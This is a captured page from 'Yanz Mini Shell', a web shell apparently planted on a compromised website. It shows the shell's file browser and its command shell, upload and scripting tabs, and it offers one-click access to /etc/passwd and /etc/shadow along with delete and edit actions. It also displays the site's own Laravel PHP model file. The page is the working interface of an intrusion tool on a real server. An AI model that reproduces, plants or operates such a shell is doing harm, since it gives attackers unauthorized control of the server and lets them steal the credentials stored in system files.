Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
sparkline
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php namespace App; use Illuminate\Database\Eloquent\Model; class TypesOfService extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'location_price_group' => 'array', ]; /** * Return list of types of service for a business * * @param int $business_id * @return array */ public static function forDropdown($business_id) { $types_of_service = TypesOfService::where('business_id', $business_id) ->pluck('name', 'id'); return $types_of_service; } }
Free Space : 11907969024 Byte